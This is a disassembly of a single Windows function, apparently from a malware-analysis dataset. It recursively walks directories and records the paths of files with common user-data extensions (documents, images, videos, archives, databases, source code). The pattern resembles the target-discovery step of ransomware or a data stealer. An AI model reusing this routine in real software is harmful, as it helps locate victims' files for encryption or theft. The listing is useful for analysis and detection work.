Function at 0x401e2b
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x390
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x320], rcx
lea rax, [rbp + 0x1f0]
mov r8, qword [rbp + 0x320]
lea rdx, str._s
mov rcx, rax
call sym.sprintf
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0xffffffffffffffff
je 0x4022ba
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x004055b5]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402285
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x004055b7]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402285
lea rax, [rbp + 0xb0]
lea rdx, [rax + 0x2c]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8, qword [rbp + 0x320]
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf
mov eax, dword [rbp + 0xb0]
and eax, 0x10
test eax, eax
je 0x401f18
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.search_directory
jmp 0x402285
lea rax, [rbp + 0xb0]
add rax, 0x2c
mov edx, 0x2e
mov rcx, rax
call sym.strrchr
mov qword [rbp + 0x300], rax
cmp qword [rbp + 0x300], 0
je 0x402285
mov rax, qword [rbp + 0x300]
lea rdx, str..html
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..png
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..txt
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..doc
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..docx
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..xls
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..xlsx
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..ppt
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..mp4
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..pptx
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..html
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..zip
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..jpg
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..wmv
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..mkv
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..mov
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..mpeg
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, [0x00405615]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..avi
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, [0x0040561e]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, [0x00405621]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..sql
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, [0x0040562a]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..rar
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..dll
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..cpp
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..png
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402279
mov rax, qword [rbp + 0x300]
lea rdx, str..pdf
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x402285
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.write_path_to_file
lea rax, [rbp + 0xb0]
mov rcx, qword [rbp + 0x308]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x401e8e
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x390
pop rbp
ret